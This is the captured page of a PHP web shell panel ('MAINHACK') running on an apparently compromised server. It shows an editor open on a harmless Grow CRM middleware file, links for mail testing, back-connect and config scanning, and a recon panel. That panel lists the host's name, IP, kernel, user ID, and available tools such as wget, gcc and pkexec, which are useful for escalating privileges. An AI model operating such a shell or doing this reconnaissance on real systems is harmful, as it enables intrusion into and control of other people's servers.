[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Status.php
<?php /** -------------------------------------------------------------------------------- * This middleware set the global status of each module. Save the bool data in config * * [example] config('module.settings_modules_projects') * * @package Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Http\Middleware\Modules; use Closure; class Status { /** * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { //only for logged in users if (!auth()->check()) { return $next($request); } //valid modules (as found in the settings table) $modules = [ 'projects' => 'settings_modules_projects', 'tasks' => 'settings_modules_tasks', 'invoices' => 'settings_modules_invoices', 'payments' => 'settings_modules_payments', 'knowledgebase' => 'settings_modules_knowledgebase', 'estimates' => 'settings_modules_estimates', 'expenses' => 'settings_modules_expenses', 'subscriptions' => 'settings_modules_subscriptions', 'leads' => 'settings_modules_leads', 'contracts' => 'settings_modules_contracts', 'proposals' => 'settings_modules_proposals', 'tickets' => 'settings_modules_tickets', 'timetracking' => 'settings_modules_timetracking', 'reminders' => 'settings_modules_reminders', 'spaces' => 'settings_modules_spaces', 'messages' => 'settings_modules_messages', 'reports' => 'settings_modules_reports', 'calendar' => 'settings_modules_calendar', ]; //set theglobal visibility of each module foreach ($modules as $key => $value) { config( [ "modules.$key" => $this->moduleStatus($value), ]); } //done return $next($request); } /** ------------------------------------------------------------------------- * Check the global and/or client modules status (enabled or disabled) * @param string $module the module that is being checked. The name corresponds * with the field name, in the table, settings * @return bool * -------------------------------------------------------------------------*/ public function moduleStatus($module) { //module is globallu disabled if (!config("system.$module") || config("system.$module") == 'disabled') { return false; } //module is disabled for client user (where client has been set to use custom modules) if (auth()->user()->is_client) { if (auth()->user()->client->client_app_modules == 'custom') { switch ($module) { case 'settings_modules_projects': return (auth()->user()->client->client_settings_modules_projects == 'enabled') ? true : false; break; case 'settings_modules_invoices': return (auth()->user()->client->client_settings_modules_invoices == 'enabled') ? true : false; break; case 'settings_modules_payments': return (auth()->user()->client->client_settings_modules_payments == 'enabled') ? true : false; break; case 'settings_modules_knowledgebase': return (auth()->user()->client->client_settings_modules_knowledgebase == 'enabled') ? true : false; break; case 'settings_modules_estimates': return (auth()->user()->client->client_settings_modules_estimates == 'enabled') ? true : false; break; case 'settings_modules_subscriptions': return (auth()->user()->client->client_settings_modules_subscriptions == 'enabled') ? true : false; break; case 'settings_modules_tickets': return (auth()->user()->client->client_settings_modules_tickets == 'enabled') ? true : false; break; } } //disable some team only modulkes switch ($module) { case 'settings_modules_calendar': return false; break; } } //finally return true; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002